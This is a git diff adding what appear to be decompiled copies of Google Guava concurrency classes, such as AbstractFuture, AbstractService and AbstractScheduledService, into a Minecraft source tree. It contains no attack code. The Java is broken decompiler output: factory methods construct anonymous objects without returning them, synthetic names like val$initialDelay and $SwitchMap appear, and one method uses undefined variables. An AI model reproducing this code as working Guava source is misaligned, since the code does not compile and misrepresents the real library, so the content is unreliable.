+    {
+      return get();
+    } catch (InterruptedException e) {
+      Thread.currentThread().interrupt();
+      throw mapException(e);
+    } catch (CancellationException e) {
+      throw mapException(e);
+    } catch (ExecutionException e) {
+      throw mapException(e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public V checkedGet(long timeout, TimeUnit unit)
+    throws TimeoutException, Exception
+  {
+    try
+    {
+      return get(timeout, unit);
+    } catch (InterruptedException e) {
+      Thread.currentThread().interrupt();
+      throw mapException(e);
+    } catch (CancellationException e) {
+      throw mapException(e);
+    } catch (ExecutionException e) {
+      throw mapException(e);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/AbstractExecutionThreadService.java b/src/minecraft/com/google/common/util/concurrent/AbstractExecutionThreadService.java
new file mode 100644
index 0000000..ce2a733
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AbstractExecutionThreadService.java
@@ -0,0 +1,232 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Supplier;
+import com.google.common.base.Throwables;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class AbstractExecutionThreadService
+  implements Service
+{
+  private static final Logger logger = Logger.getLogger(AbstractExecutionThreadService.class.getName());
+  
+
+
+  private final Service delegate = new AbstractService() {
+    protected final void doStart() {
+      Executor executor = MoreExecutors.renamingDecorator(executor(), new Supplier() {
+        public String get() {
+          return serviceName();
+        }
+      });
+      executor.execute(new Runnable()
+      {
+        public void run() {
+          try {
+            startUp();
+            notifyStarted();
+            
+            if (isRunning()) {
+              try {
+                AbstractExecutionThreadService.this.run();
+              } catch (Throwable t) {
+                try {
+                  shutDown();
+                } catch (Exception ignored) {
+                  AbstractExecutionThreadService.logger.log(Level.WARNING, "Error while attempting to shut down the service after failure.", ignored);
+                }
+                
+
+                throw t;
+              }
+            }
+            
+            shutDown();
+            notifyStopped();
+          } catch (Throwable t) {
+            notifyFailed(t);
+            throw Throwables.propagate(t);
+          }
+        }
+      });
+    }
+    
+    protected void doStop() {
+      triggerShutdown();
+    }
+  };
+  
+
+
+
+
+
+
+
+  protected AbstractExecutionThreadService() {}
+  
+
+
+
+
+
+
+
+  protected void startUp()
+    throws Exception
+  {}
+  
+
+
+
+
+
+
+  protected abstract void run()
+    throws Exception;
+  
+
+
+
+
+
+
+  protected void shutDown()
+    throws Exception
+  {}
+  
+
+
+
+
+
+
+  protected void triggerShutdown() {}
+  
+
+
+
+
+
+
+  protected Executor executor()
+  {
+    new Executor()
+    {
+      public void execute(Runnable command) {
+        MoreExecutors.newThread(serviceName(), command).start();
+      }
+    };
+  }
+  
+  public String toString() {
+    return serviceName() + " [" + state() + "]";
+  }
+  
+  public final boolean isRunning() {
+    return delegate.isRunning();
+  }
+  
+  public final Service.State state() {
+    return delegate.state();
+  }
+  
+
+
+  public final void addListener(Service.Listener listener, Executor executor)
+  {
+    delegate.addListener(listener, executor);
+  }
+  
+
+
+  public final Throwable failureCause()
+  {
+    return delegate.failureCause();
+  }
+  
+
+
+  public final Service startAsync()
+  {
+    delegate.startAsync();
+    return this;
+  }
+  
+
+
+  public final Service stopAsync()
+  {
+    delegate.stopAsync();
+    return this;
+  }
+  
+
+
+  public final void awaitRunning()
+  {
+    delegate.awaitRunning();
+  }
+  
+
+  public final void awaitRunning(long timeout, TimeUnit unit)
+    throws TimeoutException
+  {
+    delegate.awaitRunning(timeout, unit);
+  }
+  
+
+
+  public final void awaitTerminated()
+  {
+    delegate.awaitTerminated();
+  }
+  
+
+  public final void awaitTerminated(long timeout, TimeUnit unit)
+    throws TimeoutException
+  {
+    delegate.awaitTerminated(timeout, unit);
+  }
+  
+
+
+
+
+
+
+
+  protected String serviceName()
+  {
+    return getClass().getSimpleName();
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/AbstractFuture.java b/src/minecraft/com/google/common/util/concurrent/AbstractFuture.java
new file mode 100644
index 0000000..0dadbba
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AbstractFuture.java
@@ -0,0 +1,396 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.base.Preconditions;
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.locks.AbstractQueuedSynchronizer;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractFuture<V>
+  implements ListenableFuture<V>
+{
+  private final Sync<V> sync = new Sync();
+  
+
+  private final ExecutionList executionList = new ExecutionList();
+  
+
+
+
+
+
+
+
+
+
+  protected AbstractFuture() {}
+  
+
+
+
+
+
+
+
+
+
+  public V get(long timeout, TimeUnit unit)
+    throws InterruptedException, TimeoutException, ExecutionException
+  {
+    return sync.get(unit.toNanos(timeout));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public V get()
+    throws InterruptedException, ExecutionException
+  {
+    return sync.get();
+  }
+  
+  public boolean isDone()
+  {
+    return sync.isDone();
+  }
+  
+  public boolean isCancelled()
+  {
+    return sync.isCancelled();
+  }
+  
+  public boolean cancel(boolean mayInterruptIfRunning)
+  {
+    if (!sync.cancel(mayInterruptIfRunning)) {
+      return false;
+    }
+    executionList.execute();
+    if (mayInterruptIfRunning) {
+      interruptTask();
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  protected void interruptTask() {}
+  
+
+
+
+
+
+
+
+  protected final boolean wasInterrupted()
+  {
+    return sync.wasInterrupted();
+  }
+  
+
+
+
+
+
+  public void addListener(Runnable listener, Executor exec)
+  {
+    executionList.add(listener, exec);
+  }
+  
+
+
+
+
+
+
+
+
+  protected boolean set(@Nullable V value)
+  {
+    boolean result = sync.set(value);
+    if (result) {
+      executionList.execute();
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+  protected boolean setException(Throwable throwable)
+  {
+    boolean result = sync.setException((Throwable)Preconditions.checkNotNull(throwable));
+    if (result) {
+      executionList.execute();
+    }
+    return result;
+  }
+  
+
+
+  static final class Sync<V>
+    extends AbstractQueuedSynchronizer
+  {
+    private static final long serialVersionUID = 0L;
+    
+
+    static final int RUNNING = 0;
+    
+
+    static final int COMPLETING = 1;
+    
+
+    static final int COMPLETED = 2;
+    
+
+    static final int CANCELLED = 4;
+    
+
+    static final int INTERRUPTED = 8;
+    
+
+    private V value;
+    
+
+    private Throwable exception;
+    
+
+
+    Sync() {}
+    
+
+
+    protected int tryAcquireShared(int ignored)
+    {
+      if (isDone()) {
+        return 1;
+      }
+      return -1;
+    }
+    
+
+
+
+
+    protected boolean tryReleaseShared(int finalState)
+    {
+      setState(finalState);
+      return true;
+    }
+    
+
+
+
+
+
+
+    V get(long nanos)
+      throws TimeoutException, CancellationException, ExecutionException, InterruptedException
+    {
+      if (!tryAcquireSharedNanos(-1, nanos)) {
+        throw new TimeoutException("Timeout waiting for task.");
+      }
+      
+      return getValue();
+    }
+    
+
+
+
+
+
+
+
+    V get()
+      throws CancellationException, ExecutionException, InterruptedException
+    {
+      acquireSharedInterruptibly(-1);
+      return getValue();
+    }
+    
+
+
+
+    private V getValue()
+      throws CancellationException, ExecutionException
+    {
+      int state = getState();
+      switch (state) {
+      case 2: 
+        if (exception != null) {
+          throw new ExecutionException(exception);
+        }
+        return value;
+      
+
+      case 4: 
+      case 8: 
+        throw AbstractFuture.cancellationExceptionWithCause("Task was cancelled.", exception);
+      }
+      
+      
+      throw new IllegalStateException("Error, synchronizer in invalid state: " + state);
+    }
+    
+
+
+
+
+
+    boolean isDone()
+    {
+      return (getState() & 0xE) != 0;
+    }
+    
+
+
+    boolean isCancelled()
+    {
+      return (getState() & 0xC) != 0;
+    }
+    
+
+
+    boolean wasInterrupted()
+    {
+      return getState() == 8;
+    }
+    
+
+
+    boolean set(@Nullable V v)
+    {
+      return complete(v, null, 2);
+    }
+    
+
+
+    boolean setException(Throwable t)
+    {
+      return complete(null, t, 2);
+    }
+    
+
+
+    boolean cancel(boolean interrupt)
+    {
+      return complete(null, null, interrupt ? 8 : 4);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    private boolean complete(@Nullable V v, @Nullable Throwable t, int finalState)
+    {
+      boolean doCompletion = compareAndSetState(0, 1);
+      if (doCompletion)
+      {
+
+        value = v;
+        
+        exception = ((finalState & 0xC) != 0 ? new CancellationException("Future.cancel() was called.") : t);
+        
+        releaseShared(finalState);
+      } else if (getState() == 1)
+      {
+
+        acquireShared(-1);
+      }
+      return doCompletion;
+    }
+  }
+  
+  static final CancellationException cancellationExceptionWithCause(@Nullable String message, @Nullable Throwable cause)
+  {
+    CancellationException exception = new CancellationException(message);
+    exception.initCause(cause);
+    return exception;
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/AbstractIdleService.java b/src/minecraft/com/google/common/util/concurrent/AbstractIdleService.java
new file mode 100644
index 0000000..3084570
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AbstractIdleService.java
@@ -0,0 +1,184 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Supplier;
+import com.google.common.base.Throwables;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class AbstractIdleService
+  implements Service
+{
+  private final Supplier<String> threadNameSupplier = new Supplier() {
+    public String get() {
+      return serviceName() + " " + state();
+    }
+  };
+  
+
+  private final Service delegate = new AbstractService() {
+    protected final void doStart() {
+      MoreExecutors.renamingDecorator(executor(), threadNameSupplier).execute(new Runnable()
+      {
+        public void run() {
+          try {
+            startUp();
+            notifyStarted();
+          } catch (Throwable t) {
+            notifyFailed(t);
+            throw Throwables.propagate(t);
+          }
+        }
+      });
+    }
+    
+    protected final void doStop() {
+      MoreExecutors.renamingDecorator(executor(), threadNameSupplier).execute(new Runnable()
+      {
+        public void run() {
+          try {
+            shutDown();
+            notifyStopped();
+          } catch (Throwable t) {
+            notifyFailed(t);
+            throw Throwables.propagate(t);
+          }
+        }
+      });
+    }
+  };
+  
+
+
+  protected AbstractIdleService() {}
+  
+
+
+  protected abstract void startUp()
+    throws Exception;
+  
+
+
+  protected abstract void shutDown()
+    throws Exception;
+  
+
+
+  protected Executor executor()
+  {
+    new Executor() {
+      public void execute(Runnable command) {
+        MoreExecutors.newThread((String)threadNameSupplier.get(), command).start();
+      }
+    };
+  }
+  
+  public String toString() {
+    return serviceName() + " [" + state() + "]";
+  }
+  
+  public final boolean isRunning() {
+    return delegate.isRunning();
+  }
+  
+  public final Service.State state() {
+    return delegate.state();
+  }
+  
+
+
+  public final void addListener(Service.Listener listener, Executor executor)
+  {
+    delegate.addListener(listener, executor);
+  }
+  
+
+
+  public final Throwable failureCause()
+  {
+    return delegate.failureCause();
+  }
+  
+
+
+  public final Service startAsync()
+  {
+    delegate.startAsync();
+    return this;
+  }
+  
+
+
+  public final Service stopAsync()
+  {
+    delegate.stopAsync();
+    return this;
+  }
+  
+
+
+  public final void awaitRunning()
+  {
+    delegate.awaitRunning();
+  }
+  
+
+  public final void awaitRunning(long timeout, TimeUnit unit)
+    throws TimeoutException
+  {
+    delegate.awaitRunning(timeout, unit);
+  }
+  
+
+
+  public final void awaitTerminated()
+  {
+    delegate.awaitTerminated();
+  }
+  
+
+  public final void awaitTerminated(long timeout, TimeUnit unit)
+    throws TimeoutException
+  {
+    delegate.awaitTerminated(timeout, unit);
+  }
+  
+
+
+
+
+
+  protected String serviceName()
+  {
+    return getClass().getSimpleName();
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/AbstractListeningExecutorService.java b/src/minecraft/com/google/common/util/concurrent/AbstractListeningExecutorService.java
new file mode 100644
index 0000000..0c477c8
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AbstractListeningExecutorService.java
@@ -0,0 +1,60 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import java.util.concurrent.AbstractExecutorService;
+import java.util.concurrent.Callable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class AbstractListeningExecutorService
+  extends AbstractExecutorService
+  implements ListeningExecutorService
+{
+  public AbstractListeningExecutorService() {}
+  
+  protected final <T> ListenableFutureTask<T> newTaskFor(Runnable runnable, T value)
+  {
+    return ListenableFutureTask.create(runnable, value);
+  }
+  
+  protected final <T> ListenableFutureTask<T> newTaskFor(Callable<T> callable) {
+    return ListenableFutureTask.create(callable);
+  }
+  
+  public ListenableFuture<?> submit(Runnable task) {
+    return (ListenableFuture)super.submit(task);
+  }
+  
+  public <T> ListenableFuture<T> submit(Runnable task, @Nullable T result) {
+    return (ListenableFuture)super.submit(task, result);
+  }
+  
+  public <T> ListenableFuture<T> submit(Callable<T> task) {
+    return (ListenableFuture)super.submit(task);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/AbstractScheduledService.java b/src/minecraft/com/google/common/util/concurrent/AbstractScheduledService.java
new file mode 100644
index 0000000..3881236
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AbstractScheduledService.java
@@ -0,0 +1,514 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import com.google.common.base.Throwables;
+import java.util.concurrent.Callable;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.concurrent.GuardedBy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class AbstractScheduledService
+  implements Service
+{
+  private static final Logger logger = Logger.getLogger(AbstractScheduledService.class.getName());
+  
+  protected AbstractScheduledService() {}
+  
+
+  protected abstract void runOneIteration()
+    throws Exception;
+  
+
+  protected void startUp()
+    throws Exception
+  {}
+  
+
+  protected void shutDown()
+    throws Exception
+  {}
+  
+
+  protected abstract Scheduler scheduler();
+  
+
+  public static abstract class Scheduler
+  {
+    public static Scheduler newFixedDelaySchedule(long initialDelay, long delay, final TimeUnit unit)
+    {
+      new Scheduler(initialDelay)
+      {
+        public Future<?> schedule(AbstractService service, ScheduledExecutorService executor, Runnable task)
+        {
+          return executor.scheduleWithFixedDelay(task, val$initialDelay, unit, val$unit);
+        }
+      };
+    }
+    
+
+
+
+
+
+
+
+
+    public static Scheduler newFixedRateSchedule(long initialDelay, long period, final TimeUnit unit)
+    {
+      new Scheduler(initialDelay)
+      {
+        public Future<?> schedule(AbstractService service, ScheduledExecutorService executor, Runnable task)
+        {
+          return executor.scheduleAtFixedRate(task, val$initialDelay, unit, val$unit);
+        }
+      };
+    }
+    
+
+    abstract Future<?> schedule(AbstractService paramAbstractService, ScheduledExecutorService paramScheduledExecutorService, Runnable paramRunnable);
+    
+
+    private Scheduler() {}
+  }
+  
+
+  private final AbstractService delegate = new AbstractService()
+  {
+    private volatile Future<?> runningTask;
+    
+
+
+    private volatile ScheduledExecutorService executorService;
+    
+
+    private final ReentrantLock lock = new ReentrantLock();
+    
+    private final Runnable task = new Runnable() {
+      public void run() {
+        lock.lock();
+        try {
+          runOneIteration();
+        } catch (Throwable t) {
+          try {
+            shutDown();
+          } catch (Exception ignored) {
+            AbstractScheduledService.logger.log(Level.WARNING, "Error while attempting to shut down the service after failure.", ignored);
+          }
+          
+          notifyFailed(t);
+          throw Throwables.propagate(t);
+        } finally {
+          lock.unlock();
+        }
+      }
+    };
+    
+    protected final void doStart() {
+      executorService = MoreExecutors.renamingDecorator(executor(), new Supplier() {
+        public String get() {
+          return serviceName() + " " + state();
+        }
+      });
+      executorService.execute(new Runnable() {
+        public void run() {
+          lock.lock();
+          try {
+            startUp();
+            runningTask = scheduler().schedule(delegate, executorService, task);
+            notifyStarted();
+          } catch (Throwable t) {
+            notifyFailed(t);
+            throw Throwables.propagate(t);
+          } finally {
+            lock.unlock();
+          }
+        }
+      });
+    }
+    
+    protected final void doStop() {
+      runningTask.cancel(false);
+      executorService.execute(new Runnable() {
+        public void run() {
+          try {
+            lock.lock();
+            try {
+              if (state() != Service.State.STOPPING) {
+                return;
+              }
+              
+
+
+
+              shutDown();
+            } finally {
+              lock.unlock();
+            }
+            notifyStopped();
+          } catch (Throwable t) {
+            notifyFailed(t);
+            throw Throwables.propagate(t);
+          }
+        }
+      });
+    }
+  };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected ScheduledExecutorService executor()
+  {
+    final ScheduledExecutorService executor = Executors.newSingleThreadScheduledExecutor(new ThreadFactory()
+    {
+      public Thread newThread(Runnable runnable) {
+        return MoreExecutors.newThread(serviceName(), runnable);
+
+
+      }
+      
+
+
+    });
+    addListener(new Service.Listener() {
+      public void terminated(Service.State from) {
+        executor.shutdown();
+      }
+      
+      public void failed(Service.State from, Throwable failure) { executor.shutdown(); } }, MoreExecutors.sameThreadExecutor());
+    
+    return executor;
+  }
+  
+
+
+
+
+
+  protected String serviceName()
+  {
+    return getClass().getSimpleName();
+  }
+  
+  public String toString() {
+    return serviceName() + " [" + state() + "]";
+  }
+  
+  public final boolean isRunning() {
+    return delegate.isRunning();
+  }
+  
+  public final Service.State state() {
+    return delegate.state();
+  }
+  
+
+
+  public final void addListener(Service.Listener listener, Executor executor)
+  {
+    delegate.addListener(listener, executor);
+  }
+  
+
+
+  public final Throwable failureCause()
+  {
+    return delegate.failureCause();
+  }
+  
+
+
+  public final Service startAsync()
+  {
+    delegate.startAsync();
+    return this;
+  }
+  
+
+
+  public final Service stopAsync()
+  {
+    delegate.stopAsync();
+    return this;
+  }
+  
+
+
+  public final void awaitRunning()
+  {
+    delegate.awaitRunning();
+  }
+  
+
+  public final void awaitRunning(long timeout, TimeUnit unit)
+    throws TimeoutException
+  {
+    delegate.awaitRunning(timeout, unit);
+  }
+  
+
+
+  public final void awaitTerminated()
+  {
+    delegate.awaitTerminated();
+  }
+  
+
+  public final void awaitTerminated(long timeout, TimeUnit unit)
+    throws TimeoutException
+  {
+    delegate.awaitTerminated(timeout, unit);
+  }
+  
+
+
+
+  @Beta
+  public static abstract class CustomScheduler
+    extends AbstractScheduledService.Scheduler
+  {
+    public CustomScheduler()
+    {
+      super();
+    }
+    
+
+
+
+
+    private class ReschedulableCallable
+      extends ForwardingFuture<Void>
+      implements Callable<Void>
+    {
+      private final Runnable wrappedRunnable;
+      
+
+
+
+      private final ScheduledExecutorService executor;
+      
+
+
+      private final AbstractService service;
+      
+
+
+      private final ReentrantLock lock = new ReentrantLock();
+      
+      @GuardedBy("lock")
+      private Future<Void> currentFuture;
+      
+
+      ReschedulableCallable(AbstractService service, ScheduledExecutorService executor, Runnable runnable)
+      {
+        wrappedRunnable = runnable;
+        this.executor = executor;
+        this.service = service;
+      }
+      
+      public Void call() throws Exception
+      {
+        wrappedRunnable.run();
+        reschedule();
+        return null;
+      }
+      
+
+
+
+
+
+
+      public void reschedule()
+      {
+        lock.lock();
+        try {
+          if ((currentFuture == null) || (!currentFuture.isCancelled())) {
+            AbstractScheduledService.CustomScheduler.Schedule schedule = getNextSchedule();
+            currentFuture = executor.schedule(this, delay, unit);
+          }
+          
+
+        }
+        catch (Throwable e)
+        {
+
+          service.notifyFailed(e);
+        } finally {
+          lock.unlock();
+        }
+      }
+      
+
+
+
+      public boolean cancel(boolean mayInterruptIfRunning)
+      {
+        lock.lock();
+        try {
+          return currentFuture.cancel(mayInterruptIfRunning);
+        } finally {
+          lock.unlock();
+        }
+      }
+      
+      protected Future<Void> delegate()
+      {
+        throw new UnsupportedOperationException("Only cancel is supported by this future");
+      }
+    }
+    
+
+    final Future<?> schedule(AbstractService service, ScheduledExecutorService executor, Runnable runnable)
+    {
+      ReschedulableCallable task = new ReschedulableCallable(service, executor, runnable);
+      task.reschedule();
+      return task;
+    }
+    
+
+
+    protected abstract Schedule getNextSchedule()
+      throws Exception;
+    
+
+
+    @Beta
+    protected static final class Schedule
+    {
+      private final long delay;
+      
+      private final TimeUnit unit;
+      
+
+      public Schedule(long delay, TimeUnit unit)
+      {
+        this.delay = delay;
+        this.unit = ((TimeUnit)Preconditions.checkNotNull(unit));
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/AbstractService.java b/src/minecraft/com/google/common/util/concurrent/AbstractService.java
new file mode 100644
index 0000000..35f8a58
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AbstractService.java
@@ -0,0 +1,548 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import javax.annotation.Nullable;
+import javax.annotation.concurrent.GuardedBy;
+import javax.annotation.concurrent.Immutable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class AbstractService
+  implements Service
+{
+  private static final ListenerCallQueue.Callback<Service.Listener> STARTING_CALLBACK = new ListenerCallQueue.Callback("starting()")
+  {
+    void call(Service.Listener listener) {
+      listener.starting();
+    }
+  };
+  private static final ListenerCallQueue.Callback<Service.Listener> RUNNING_CALLBACK = new ListenerCallQueue.Callback("running()")
+  {
+    void call(Service.Listener listener) {
+      listener.running();
+    }
+  };
+  private static final ListenerCallQueue.Callback<Service.Listener> STOPPING_FROM_STARTING_CALLBACK = stoppingCallback(Service.State.STARTING);
+  
+  private static final ListenerCallQueue.Callback<Service.Listener> STOPPING_FROM_RUNNING_CALLBACK = stoppingCallback(Service.State.RUNNING);
+  
+
+  private static final ListenerCallQueue.Callback<Service.Listener> TERMINATED_FROM_NEW_CALLBACK = terminatedCallback(Service.State.NEW);
+  
+  private static final ListenerCallQueue.Callback<Service.Listener> TERMINATED_FROM_RUNNING_CALLBACK = terminatedCallback(Service.State.RUNNING);
+  
+  private static final ListenerCallQueue.Callback<Service.Listener> TERMINATED_FROM_STOPPING_CALLBACK = terminatedCallback(Service.State.STOPPING);
+  
+  private static ListenerCallQueue.Callback<Service.Listener> terminatedCallback(final Service.State from)
+  {
+    new ListenerCallQueue.Callback("terminated({from = " + from + "})") {
+      void call(Service.Listener listener) {
+        listener.terminated(from);
+      }
+    };
+  }
+  
+  private static ListenerCallQueue.Callback<Service.Listener> stoppingCallback(final Service.State from) {
+    new ListenerCallQueue.Callback("stopping({from = " + from + "})") {
+      void call(Service.Listener listener) {
+        listener.stopping(from);
+      }
+    };
+  }
+  
+  private final Monitor monitor = new Monitor();
+  
+  private final Monitor.Guard isStartable = new Monitor.Guard(monitor) {
+    public boolean isSatisfied() {
+      return state() == Service.State.NEW;
+    }
+  };
+  
+  private final Monitor.Guard isStoppable = new Monitor.Guard(monitor) {
+    public boolean isSatisfied() {
+      return state().compareTo(Service.State.RUNNING) <= 0;
+    }
+  };
+  
+  private final Monitor.Guard hasReachedRunning = new Monitor.Guard(monitor) {
+    public boolean isSatisfied() {
+      return state().compareTo(Service.State.RUNNING) >= 0;
+    }
+  };
+  
+  private final Monitor.Guard isStopped = new Monitor.Guard(monitor) {
+    public boolean isSatisfied() {
+      return state().isTerminal();
+    }
+  };
+  
+
+
+  @GuardedBy("monitor")
+  private final List<ListenerCallQueue<Service.Listener>> listeners = Collections.synchronizedList(new ArrayList());
+  
+
+
+
+
+
+
+
+
+
+
+  @GuardedBy("monitor")
+  private volatile StateSnapshot snapshot = new StateSnapshot(Service.State.NEW);
+  
+
+
+
+
+
+
+  protected AbstractService() {}
+  
+
+
+
+
+
+  protected abstract void doStart();
+  
+
+
+
+
+
+  protected abstract void doStop();
+  
+
+
+
+
+
+  public final Service startAsync()
+  {
+    if (monitor.enterIf(isStartable)) {
+      try {
+        snapshot = new StateSnapshot(Service.State.STARTING);
+        starting();
+        doStart();
+      }
+      catch (Throwable startupFailure) {
+        notifyFailed(startupFailure);
+      } finally {
+        monitor.leave();
+        executeListeners();
+      }
+    } else {
+      throw new IllegalStateException("Service " + this + " has already been started");
+    }
+    return this;
+  }
+  
+  public final Service stopAsync() {
+    if (monitor.enterIf(isStoppable)) {
+      try {
+        Service.State previous = state();
+        switch (10.$SwitchMap$com$google$common$util$concurrent$Service$State[previous.ordinal()]) {
+        case 1: 
+          snapshot = new StateSnapshot(Service.State.TERMINATED);
+          terminated(Service.State.NEW);
+          break;
+        case 2: 
+          snapshot = new StateSnapshot(Service.State.STARTING, true, null);
+          stopping(Service.State.STARTING);
+          break;
+        case 3: 
+          snapshot = new StateSnapshot(Service.State.STOPPING);
+          stopping(Service.State.RUNNING);
+          doStop();
+          break;
+        
+        case 4: 
+        case 5: 
+        case 6: 
+          throw new AssertionError("isStoppable is incorrectly implemented, saw: " + previous);
+        default: 
+          throw new AssertionError("Unexpected state: " + previous);
+        }
+      }
+      catch (Throwable shutdownFailure)
+      {
+        notifyFailed(shutdownFailure);
+      } finally {
+        monitor.leave();
+        executeListeners();
+      }
+    }
+    return this;
+  }
+  
+  public final void awaitRunning() {
+    monitor.enterWhenUninterruptibly(hasReachedRunning);
+    try {
+      checkCurrentState(Service.State.RUNNING);
+    } finally {
+      monitor.leave();
+    }
+  }
+  
+  public final void awaitRunning(long timeout, TimeUnit unit) throws TimeoutException {
+    if (monitor.enterWhenUninterruptibly(hasReachedRunning, timeout, unit)) {
+      try {
+        checkCurrentState(Service.State.RUNNING);
+      } finally {
+        monitor.leave();
+
+      }
+      
+    }
+    else
+    {
+      throw new TimeoutException("Timed out waiting for " + this + " to reach the RUNNING state. " + "Current state: " + state());
+    }
+  }
+  
+  public final void awaitTerminated()
+  {
+    monitor.enterWhenUninterruptibly(isStopped);
+    try {
+      checkCurrentState(Service.State.TERMINATED);
+    } finally {
+      monitor.leave();
+    }
+  }
+  
+  public final void awaitTerminated(long timeout, TimeUnit unit) throws TimeoutException {
+    if (monitor.enterWhenUninterruptibly(isStopped, timeout, unit)) {
+      try {
+        checkCurrentState(Service.State.TERMINATED);
+      } finally {
+        monitor.leave();
+
+      }
+      
+    }
+    else
+    {
+      throw new TimeoutException("Timed out waiting for " + this + " to reach a terminal state. " + "Current state: " + state());
+    }
+  }
+  
+
+  @GuardedBy("monitor")
+  private void checkCurrentState(Service.State expected)
+  {
+    Service.State actual = state();
+    if (actual != expected) {
+      if (actual == Service.State.FAILED)
+      {
+        throw new IllegalStateException("Expected the service to be " + expected + ", but the service has FAILED", failureCause());
+      }
+      
+      throw new IllegalStateException("Expected the service to be " + expected + ", but was " + actual);
+    }
+  }
+  
+
+
+
+
+
+
+  protected final void notifyStarted()
+  {
+    monitor.enter();
+    
+    try
+    {
+      if (snapshot.state != Service.State.STARTING) {
+        IllegalStateException failure = new IllegalStateException("Cannot notifyStarted() when the service is " + snapshot.state);
+        
+        notifyFailed(failure);
+        throw failure;
+      }
+      
+      if (snapshot.shutdownWhenStartupFinishes) {
+        snapshot = new StateSnapshot(Service.State.STOPPING);
+        
+
+        doStop();
+      } else {
+        snapshot = new StateSnapshot(Service.State.RUNNING);
+        running();
+      }
+    } finally {
+      monitor.leave();
+      executeListeners();
+    }
+  }
+  
+
+
+
+
+
+
+  protected final void notifyStopped()
+  {
+    monitor.enter();
+    
+    try
+    {
+      Service.State previous = snapshot.state;
+      if ((previous != Service.State.STOPPING) && (previous != Service.State.RUNNING)) {
+        IllegalStateException failure = new IllegalStateException("Cannot notifyStopped() when the service is " + previous);
+        
+        notifyFailed(failure);
+        throw failure;
+      }
+      snapshot = new StateSnapshot(Service.State.TERMINATED);
+      terminated(previous);
+    } finally {
+      monitor.leave();
+      executeListeners();
+    }
+  }
+  
+
+
+
+
+  protected final void notifyFailed(Throwable cause)
+  {
+    Preconditions.checkNotNull(cause);
+    
+    monitor.enter();
+    try {
+      Service.State previous = state();
+      switch (10.$SwitchMap$com$google$common$util$concurrent$Service$State[previous.ordinal()]) {
+      case 1: 
+      case 5: 
+        throw new IllegalStateException("Failed while in state:" + previous, cause);
+      case 2: 
+      case 3: 
+      case 4: 
+        snapshot = new StateSnapshot(Service.State.FAILED, false, cause);
+        failed(previous, cause);
+        break;
+      case 6: 
+        break;
+      
+      default: 
+        throw new AssertionError("Unexpected state: " + previous);
+      }
+    } finally {
+      monitor.leave();
+      executeListeners();
+    }
+  }
+  
+  public final boolean isRunning()
+  {
+    return state() == Service.State.RUNNING;
+  }
+  
+  public final Service.State state()
+  {
+    return snapshot.externalState();
+  }
+  
+
+
+
+  public final Throwable failureCause()
